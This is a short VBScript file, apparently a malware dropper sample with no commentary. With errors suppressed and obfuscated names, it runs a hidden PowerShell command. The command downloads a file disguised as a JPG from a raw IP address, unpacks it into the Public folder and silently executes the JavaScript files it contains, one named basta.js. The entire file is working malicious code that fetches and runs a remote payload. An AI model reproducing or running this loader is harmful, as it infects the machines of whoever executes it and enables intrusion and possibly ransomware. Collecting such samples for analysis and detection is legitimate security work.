On Error Resume Next
Dim dUnDxx, G670B
Set dUnDxx = CreateObject("WScript.Shell")
G670B = "powershell.exe Start-BitsTransfer"
G670B = G670B & " -Source 'http://104.223.22.86:440/nn.jpg'"
G670B = G670B & " -Destination 'C:\Users\Public\bbbb.zip'"
G670B = G670B & ";Expand-Archive"
G670B = G670B & " -Path 'C:\Users\Public\bbbb.zip'"
G670B = G670B & " -DestinationPath 'C:\Users\Public\';start ""C:\Users\Public\nn.js"""
dUnDxx.Run G670B, 0, True
WScript.Sleep 9000
On Error Resume Next
Set objShell = CreateObject("WScript.Shell")
objShell.Run "C:\Users\Public\basta.js", 0, True